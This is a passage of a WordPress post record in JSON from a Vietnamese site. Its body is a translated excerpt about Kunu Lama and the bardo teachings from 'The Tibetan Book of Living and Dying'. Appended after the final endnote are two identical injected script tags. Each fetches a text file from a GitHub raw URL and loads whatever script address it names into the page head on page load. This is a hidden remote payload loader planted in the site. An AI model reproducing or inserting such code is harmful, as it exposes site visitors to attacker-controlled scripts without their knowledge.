s\u1ed1 trong c\u00e1c L\u1ea1t ma v\u0129 \u0111\u1ea1i nh\u1ea5t, k\u1ec3 c\u1ea3 th\u1ea7y t\u00f4i Jamyang Khyentse. Tri th\u1ee9c v\u1ec1 ti\u1ebfng Ph\u1ea1n c\u1ee7a Kunu Lama gi\u00fap cho \u00f4ng \u1ea5y \u0111\u01b0\u1ee3c k\u00ednh tr\u1ecdng v\u00e0 m\u1edf ra nhi\u1ec1u c\u00e1nh c\u1eeda cho \u00f4ng \u1ea5y. C\u00e1c th\u1ea7y say m\u00ea d\u1ea1y \u00f4ng \u1ea5y, v\u1edbi hi v\u1ecdng r\u1eb1ng \u00f4ng \u1ea5y s\u1ebd \u0111em c\u00e1c gi\u00e1o hu\u1ea5n \u0111\u00f3 tr\u1edf l\u1ea1i \u1ea4n \u0110\u1ed9 v\u00e0 chuy\u1ec3n ch\u00fang sang \u0111\u00f3, n\u01a1i h\u1ecd bi\u1ebft c\u00e1c gi\u00e1o hu\u1ea5n \u0111\u00e3 g\u1ea7n nh\u01b0 bi\u1ebfn m\u1ea5t. Trong th\u1eddi gian \u00f4ng \u1ea5y \u1edf T\u00e2y T\u1ea1ng, Kunu Lama \u0111\u00e3 tr\u1edf th\u00e0nh ng\u01b0\u1eddi \u0111\u1eb7c bi\u1ec7t h\u1ecdc r\u1ed9ng v\u00e0 \u0111\u00e3 th\u1ef1c ch\u1ee9ng.<\/p>\n<p>Cu\u1ed1i c\u00f9ng \u00f4ng \u1ea5y \u0111\u00e3 quay v\u1ec1 \u1ea4n \u0110\u1ed9, n\u01a1i \u00f4ng \u1ea5y \u0111\u00e3 s\u1ed1ng nh\u01b0 m\u1ed9t nh\u00e0 kh\u1ed5 h\u1ea1nh th\u1ef1c. Khi th\u1ea7y t\u00f4i v\u00e0 t\u00f4i \u0111\u1ebfn \u1ea4n \u0110\u1ed9 tr\u00ean \u0111\u01b0\u1eddng h\u00e0nh h\u01b0\u01a1ng sau khi r\u1eddi T\u00e2y T\u1ea1ng, ch\u00fang t\u00f4i \u0111\u00e3 t\u00ecm \u00f4ng \u1ea5y kh\u1eafp n\u01a1i trong v\u00f9ng Benares. Cu\u1ed1i c\u00f9ng ch\u00fang t\u00f4i th\u1ea5y \u00f4ng \u1ea5y \u0111ang \u1edf trong m\u1ed9t ng\u00f4i \u0111\u1ec1n Hindu. Kh\u00f4ng ai bi\u1ebft \u00f4ng \u1ea5y l\u00e0 ai, ngay c\u1ea3 \u0111i\u1ec1u \u00f4ng \u1ea5y l\u00e0 ph\u1eadt t\u1eed, ch\u1ec9 m\u1ed7i \u0111i\u1ec1u \u00f4ng \u1ea5y l\u00e0 th\u1ea7y. H\u1ecd bi\u1ebft \u00f4ng \u1ea5y l\u00e0 m\u1ed9t ng\u01b0\u1eddi yoga th\u00e1nh thi\u1ec7n, t\u1ed1t b\u1ee5ng v\u00e0 h\u1ecd c\u00fang d\u01b0\u1eddng \u0111\u1ed3 \u0103n cho \u00f4ng \u1ea5y. B\u1ea5t c\u1ee9 khi n\u00e0o t\u00f4i ngh\u0129 \u0111\u1ebfn \u00f4ng \u1ea5y, t\u00f4i bao gi\u1edd c\u0169ng t\u1ef1 nh\u1ee7 m\u00ecnh.&#8221; \u0110\u00e2y l\u00e0 \u0111i\u1ec1u th\u00e1nh Francis \u1edf Assise ph\u1ea3i \u0111\u00e3 gi\u1ed1ng v\u1eady.&#8221;<\/p>\n<p>Khi c\u00e1c s\u01b0 v\u00e0 L\u1ea1t ma T\u00e2y T\u1ea1ng l\u1ea7n \u0111\u1ea7u ti\u00ean \u0111i l\u01b0u vong, Kunu Lama \u0111\u00e3 \u0111\u01b0\u1ee3c ch\u1ecdn \u0111\u1ec3 d\u1ea1y h\u1ecd ng\u1eef ph\u00e1p v\u00e0 ti\u1ebfng Ph\u1ea1n t\u1ea1i tr\u01b0\u1eddng \u0111\u01b0\u1ee3c \u0110\u1ea1t lai L\u1ea1t ma th\u00e0nh l\u1eadp. Nhi\u1ec1u L\u1ea1t ma uy\u00ean b\u00e1c \u0111\u00e3 theo h\u1ecdc v\u00e0 nghi\u00ean c\u1ee9u c\u00f9ng \u00f4ng \u1ea5y, v\u00e0 t\u1ea5t c\u1ea3 h\u1ecd \u0111\u1ec1u coi \u00f4ng \u1ea5y nh\u01b0 m\u1ed9t th\u1ea7y gi\u00e1o ng\u00f4n ng\u1eef tuy\u1ec7t v\u1eddi. Nh\u01b0ng r\u1ed3i m\u1ed9t h\u00f4m ai \u0111\u00f3 ng\u1eabu nhi\u00ean h\u1ecfi \u00f4ng \u1ea5y m\u1ed9t c\u00e2u h\u1ecfi c\u00f3 li\u00ean quan t\u1edbi gi\u00e1o hu\u1ea5n c\u1ee7a Ph\u1eadt. C\u00e2u tr\u1ea3 l\u1eddi \u00f4ng \u1ea5y \u0111\u01b0a ra c\u1ef1c k\u00ec s\u00e2u s\u1eafc. Cho n\u00ean h\u1ecd ti\u1ebfp t\u1ee5c h\u1ecfi \u00f4ng \u1ea5y c\u00e1c c\u00e2u h\u1ecfi, v\u00e0 h\u1ecd th\u1ea5y r\u1eb1ng b\u1ea5t k\u00ec c\u00e1i g\u00ec h\u1ecd h\u1ecfi, \u00f4ng \u1ea5y \u0111\u1ec1u bi\u1ebft c\u00e2u tr\u1ea3 l\u1eddi. Th\u1ef1c ra \u00f4ng \u1ea5y c\u00f3 th\u1ec3 cho b\u1ea5t k\u00ec gi\u00e1o hu\u1ea5n n\u00e0o \u0111\u01b0\u1ee3c h\u1ecfi t\u1edbi. Cho n\u00ean ti\u1ebfng t\u0103m \u00f4ng \u1ea5y lan xa v\u00e0 r\u1ed9ng, v\u00e0 kh\u00f4ng m\u1ea5t th\u1eddi gian ch\u00fat n\u00e0o \u00f4ng \u1ea5y \u0111\u00e3 d\u1ea1y cho c\u00e1c th\u00e0nh vi\u00ean c\u1ee7a t\u1eebng gi\u00e1o ph\u00e1i v\u1ec1 c\u00e1c truy\u1ec1n th\u1ed1ng duy nh\u1ea5t ri\u00eang c\u1ee7a h\u1ecd.<\/p>\n<p>Th\u1ebf r\u1ed3i \u0110\u1ee9c \u0110\u1ea1t lai L\u1ea1t ma ch\u1ecdn \u00f4ng \u1ea5y l\u00e0m ng\u01b0\u1eddi h\u01b0\u1edbng d\u1eabn t\u00e2m linh c\u1ee7a m\u00ecnh. \u0110\u1ea1t lai L\u1ea1t ma th\u1eeba nh\u1eadn Kunu Lama l\u00e0 ngu\u1ed3n h\u1ee9ng kh\u1edfi cho gi\u00e1o hu\u1ea5n v\u00e0 tu luy\u1ec7n t\u1eeb bi c\u1ee7a \u00f4ng \u1ea5y. Th\u1ef1c ra, \u00f4ng \u1ea5y \u0111\u00e3 l\u00e0 t\u1ea5m g\u01b0\u01a1ng s\u1ed1ng v\u1ec1 t\u1eeb bi. V\u1eady m\u00e0 ngay c\u1ea3 khi \u00f4ng \u1ea5y \u0111\u00e3 tr\u1edf n\u00ean n\u1ed5i ti\u1ebfng, \u00f4ng \u1ea5y \u0111\u00e3 kh\u00f4ng thay \u0111\u1ed5i. \u00d4ng \u1ea5y v\u1eabn m\u1eb7c c\u00f9ng b\u1ed9 qu\u1ea7n \u00e1o c\u0169 gi\u1ea3n d\u1ecb, v\u00e0 \u00f4ng \u1ea5y s\u1ed1ng trong m\u1ed9t ph\u00f2ng nh\u1ecf. B\u1ea5t k\u00ec ai \u0111\u1ebfn v\u00e0 c\u00fang d\u01b0\u1eddng \u00f4ng \u1ea5y v\u1eadt ph\u1ea9m, \u00f4ng \u1ea5y \u0111\u1ec1u l\u1ea5y \u0111\u00f3 l\u00e0m qu\u00e0 t\u1eb7ng cho kh\u00e1ch ti\u1ebfp theo. V\u00e0 n\u1ebfu ai \u0111\u00f3 n\u1ea5u cho \u00f4ng \u1ea5y c\u00e1i g\u00ec, \u00f4ng \u1ea5y s\u1ebd \u0103n; n\u1ebfu kh\u00f4ng n\u1ea5u g\u00ec, \u00f4ng \u1ea5y s\u1ebd \u0111i kh\u00f4ng \u0103n g\u00ec.<\/p>\n<p>M\u1ed9t h\u00f4m m\u1ed9t th\u1ea7y t\u00f4i r\u1ea5t quen t\u1edbi th\u0103m Kunu Lama, \u0111\u1ec3 h\u1ecfi \u00f4ng \u1ea5y v\u00e0i c\u00e2u h\u1ecfi v\u1ec1 trung \u1ea5m. Th\u1ea7y n\u00e0y l\u00e0 m\u1ed9t gi\u00e1o s\u01b0, c\u1ef1c k\u00ec th\u00f4ng th\u1ea1o theo truy\u1ec1n th\u1ed1ng c\u1ee7a <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>, v\u00e0 \u0111\u00e3 tr\u1ea3i nghi\u1ec7m trong tu luy\u1ec7n li\u00ean quan t\u1edbi n\u00f3. \u00d4ng \u1ea5y b\u1ea3o t\u00f4i c\u00e1ch \u00f4ng \u1ea5y \u0111\u00e3 h\u1ecfi c\u00e1c c\u00e2u h\u1ecfi v\u00e0 r\u1ed3i l\u1eafng nghe, nh\u01b0 b\u1ecb th\u00f4i mi\u00ean, l\u1eddi \u0111\u00e1p c\u1ee7a Kunu Lama. \u00d4ng \u1ea5y ch\u01b0a bao gi\u1edd nghe b\u1ea5t k\u00ec \u0111i\u1ec1u g\u00ec gi\u1ed1ng \u0111i\u1ec1u \u0111\u00f3 tr\u01b0\u1edbc \u0111\u00e2y. Khi Kunu Lama m\u00f4 t\u1ea3 v\u1ec1 c\u00e1c trung \u1ea5m, n\u00f3 sinh \u0111\u1ed9ng v\u00e0 ch\u00ednh x\u00e1c t\u1edbi m\u1ee9c d\u01b0\u1eddng nh\u01b0 l\u00e0 \u00f4ng \u1ea5y \u0111ang ch\u1ec9 \u0111\u01b0\u1eddng cho ai \u0111\u00f3 \u0111i t\u1edbi Kensington High Street hay C\u00f4ng vi\u00ean Trung t\u00e2m, hay Champs Elys\u00e9es. D\u01b0\u1eddng nh\u01b0 l\u00e0 \u00f4ng \u1ea5y \u0111\u00e3 th\u1ef1c t\u1ea1i \u1edf \u0111\u00f3.<\/p>\n<p>Kunu Lama \u0111\u00e3 ch\u1ec9 ra c\u00e1c trung \u1ea5m tr\u1ef1c ti\u1ebfp t\u1eeb kinh nghi\u1ec7m ri\u00eang c\u1ee7a \u00f4ng \u1ea5y. Ng\u01b0\u1eddi tu luy\u1ec7n \u1edf t\u1ea7m c\u1ee1 \u00f4ng \u1ea5y \u0111\u00e3 du h\u00e0nh qua m\u1ecdi chi\u1ec1u h\u01b0\u1edbng kh\u00e1c nhau c\u1ee7a th\u1ef1c t\u1ea1i. V\u00e0 ch\u00ednh v\u00ec c\u00e1c tr\u1ea1ng th\u00e1i trung \u1ea5m t\u1ea5t c\u1ea3 \u0111\u01b0\u1ee3c ch\u1ee9a b\u00ean trong t\u00e2m tr\u00ed ch\u00fang ta m\u00e0 ch\u00fang c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c \u0111\u1ec3 l\u1ed9 ra v\u00e0 \u0111\u01b0\u1ee3c gi\u1ea3i ph\u00f3ng qua tu luy\u1ec7n trung \u1ea5m.<\/p>\n<p>Nh\u1eefng gi\u00e1o hu\u1ea5n n\u00e0y t\u1edbi t\u1eeb t\u00e2m tr\u00ed tr\u00ed hu\u1ec7 c\u1ee7a ch\u01b0 Ph\u1eadt, nh\u1eefng ng\u01b0\u1eddi c\u00f3 th\u1ec3 th\u1ea5y s\u1ed1ng v\u00e0 ch\u1ebft nh\u01b0 nh\u00ecn trong l\u00f2ng b\u00e0n tay c\u1ee7a h\u1ecd.<\/p>\n<p>Ch\u00fang ta c\u0169ng l\u00e0 ch\u01b0 ph\u1eadt. Cho n\u00ean n\u1ebfu ch\u00fang ta tu luy\u1ec7n trong trung \u1ea5m c\u1ee7a cu\u1ed9c s\u1ed1ng n\u00e0y v\u00e0 \u0111i ng\u00e0y c\u00e0ng s\u00e2u h\u01a1n v\u00e0o trong b\u1ea3n t\u00ednh t\u00e2m tr\u00ed c\u1ee7a ch\u00fang ta, th\u1ebf th\u00ec ch\u00fang ta c\u00f3 th\u1ec3 kh\u00e1m ph\u00e1 ra tri th\u1ee9c n\u00e0y v\u1ec1 c\u00e1c c\u00f5i trung \u1ea5m, v\u00e0 ch\u00e2n l\u00ed c\u1ee7a nh\u1eefng gi\u00e1o hu\u1ea5n n\u00e0y s\u1ebd hi\u1ec3n l\u1ed9 trong ch\u00fang ta b\u1edfi b\u1ea3n th\u00e2n n\u00f3. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao trung \u1ea5m t\u1ef1 nhi\u00ean c\u1ee7a cu\u1ed9c \u0111\u1eddi n\u00e0y c\u00f3 t\u1ea7m quan tr\u1ecdng cao nh\u1ea5t. Ch\u00ednh \u1edf \u0111\u00e2y v\u00e0 b\u00e2y gi\u1edd m\u00e0 to\u00e0n th\u1ec3 vi\u1ec7c chu\u1ea9n b\u1ecb cho m\u1ecdi trung \u1ea5m x\u1ea3y ra. \u0110i\u1ec1u \u0111\u01b0\u1ee3c n\u00f3i l\u00e0 &#8220;C\u00e1ch chu\u1ea9n b\u1ecb t\u1ed1i cao l\u00e0 b\u00e2y gi\u1edd &#8211; \u0111\u1ec3 tr\u1edf n\u00ean \u0111\u01b0\u1ee3c ch\u1ee9ng ng\u1ed9 trong \u0111\u1eddi n\u00e0y.&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.7 Trung \u1ea5m v\u00e0 c\u00e1c th\u1ef1c t\u1ea1i kh\u00e1c<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> S\u00e1ch Ai C\u1eadp v\u1ec1 ng\u01b0\u1eddi ch\u1ebft b\u1ea3n th\u00e2n n\u00f3 l\u00e0 \u0111\u1ea7u \u0111\u1ec1 b\u1ecba ra b\u1edfi ng\u01b0\u1eddi d\u1ecbch n\u00f3, E. A. Wallis Budge, thoe S\u00e1ch A r\u1eadp v\u1ec1 ng\u01b0\u1eddi qu\u00e1 c\u1ed1, v\u00e0 ch\u1eb3ng c\u00f3 li\u00ean quan g\u00ec m\u1ea5y v\u1edbi \u0111\u1ea7u \u0111\u1ec1 nguy\u00ean b\u1ea3n: &#8220;Coming Forth into the Day- \u0110i t\u1edbi trong Ng\u00e0y.&#8221;<\/p>\n<p><a href=\"#_ednref2\" name=\"_edn2\">[ii]<\/a> Xem Ch\u01b0\u01a1ng 10, &#8220;The Innermost Essence,&#8221; v\u1ec1 \u0110\u1ea1i To\u00e0n thi\u1ec7n. \u0110\u1ea1i To\u00e0n thi\u1ec7n Tantra l\u00e0 gi\u00e1o hu\u1ea5n nguy\u00ean g\u1ed1c v\u1ec1 \u0110\u1ea1i To\u00e0n thi\u1ec7n \u0111\u01b0\u1ee3c so\u1ea1n ra b\u1edfi th\u1ea7y \u0110\u1ea1i To\u00e0n thi\u1ec7n con ng\u01b0\u1eddi \u0111\u1ea7u ti\u00ean, Garab Dorje.<\/p>\n<p><a href=\"#_ednref3\" name=\"_edn3\">[iii]<\/a> \u1ede T\u00e2y T\u1ea1ng c\u00e1c th\u1ea7y kh\u00f4ng l\u00e0m bu\u1ed5i tr\u00ecnh di\u1ec5n v\u1ec1 th\u1ef1c ch\u1ee9ng c\u1ee7a h\u1ecd. H\u1ecd c\u00f3 th\u1ec3 \u0111\u00e3 c\u00f3 quy\u1ec1n n\u0103ng si\u00eau linh, nh\u01b0ng g\u1ea7n nh\u01b0 bao gi\u1edd h\u1ecd c\u0169ng gi\u1eef ch\u00fang cho b\u1ea3n th\u00e2n h\u1ecd. \u0110\u00e2y l\u00e0 \u0111i\u1ec1u truy\u1ec1n th\u1ed1ng c\u1ee7a ch\u00fang t\u00f4i khuy\u1ebfn c\u00e1o. Th\u1ea7y th\u1ef1c kh\u00f4ng bao gi\u1edd, v\u00e0o b\u1ea5t k\u00ec c\u01a1 h\u1ed9i n\u00e0o, d\u00f9ng quy\u1ec1n n\u0103ng c\u1ee7a h\u1ecd cho vi\u1ec7c t\u1ef1 \u0111\u1ec1 cao. H\u1ecd d\u00f9ng ch\u00fang ch\u1ec9 khi h\u1ecd bi\u1ebft ch\u00fang s\u1ebd c\u00f3 \u00edch l\u1ee3i th\u1ef1c cho ng\u01b0\u1eddi kh\u00e1c; hay trong ho\u00e0n c\u1ea3nh \u0111\u1eb7c bi\u1ec7t v\u00e0 m\u00f4i tr\u01b0\u1eddng \u0111\u1eb7c bi\u1ec7t, h\u1ecd c\u00f3 th\u1ec3 cho ph\u00e9p v\u00e0i h\u1ecdc tr\u00f2 th\u00e2n t\u00edn nh\u1ea5t c\u1ee7a h\u1ecd ch\u1ee9ng ki\u1ebfn ch\u00fang.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>BARDO L\u00c0 M\u1ed8T T\u1eea T\u00c2Y T\u1ea0NG \u0111\u01a1n gi\u1ea3n ng\u1ee5 \u00fd &#8220;chuy\u1ec3n ti\u1ebfp&#8221; hay k\u1ebd h\u1edf gi\u1eefa vi\u1ec7c ho\u00e0n th\u00e0nh t\u00ecnh hu\u1ed1ng n\u00e0y v\u00e0 vi\u1ec7c b\u1eaft &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3724,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[105],"tags":[],"class_list":["post-3723","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cac-khai-niem"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3723"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3723\/revisions"}],"predecessor-version":[{"id":4775,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3723\/revisions\/4775"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3724"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}